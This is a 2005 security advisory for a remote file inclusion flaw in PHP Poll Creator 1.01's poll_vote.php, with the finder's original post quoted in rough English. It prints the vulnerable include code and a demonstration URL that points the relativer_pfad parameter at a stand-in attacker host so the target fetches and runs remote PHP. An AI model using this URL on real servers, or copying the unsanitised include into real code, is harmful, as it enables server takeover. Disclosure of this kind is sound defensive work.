PHP Poll Creator Include File Error Lets Remote Users Execute Arbitrary Commands
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SecurityTracker Alert ID: 1014061
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SecurityTracker URL: http://securitytracker.com/id?1014061
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: May 26 2005
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Impact: Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Version(s): 1.01
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Description: A vulnerability was reported in PHP Poll Creator. A remote user can execute arbitrary commands on the target system.
The 'poll_vote.php' script includes files relative to the 'relativer_pfad' parameter. A remote user can supply a specially crafted
URL to cause the target system to include and execute arbitrary PHP code. The PHP code, including operating system commands, will
run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/poll_vote.php?relativer_pfad=http://[attacker]/dir/
r
ash from Search Vulnerabilities Team reported this vulnerability.
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Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.phppc.de/ (Links to External Site)
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Cause: Access control error, Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: rash ilusion <torash@gmail.com>
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Message History:
None.
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Source Message Contents
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Date: 25 May 2005 05:16:31 -0000
From: rash ilusion <torash@gmail.com>
Subject: PHP Injection in PHP Poll Creator
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svadvisory#6
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Title: PHP Injection in PHP Poll Creator |
Software: PHP Poll Creator v 1.01 |
Homepage: http://www.phppc.de +------------+
Finder: rash | 24.05.05 |
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Description
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Vulnerability has been found in file poll_vote.php
<?php
include $relativer_pfad . "config.inc.php";
include ($relativer_pfad . "lib/functions.inc.php");
....
?>
one can implement any php code, what we need are it, a delivery
the variable $relativer_pfad over URL, with which defintion our
address to our file with php the code this file must absolutely
config.inc.php is designated, otherwise cannot it not function
where one this file put down are it no matter, main thing one
give the exact address to the file config.inc.php with php the
code to where them are.
Example
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poll_vote.php?relativer_pfad=http://domain.tld/dir/
Conclusion
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as I understood it, this is not any longer developed further
script program, but I go of it out of that, all versions am
concerned, but without guarantee.
#############################################################
rash || Search Vulnerabilities Team || www.svt.nukleon.us
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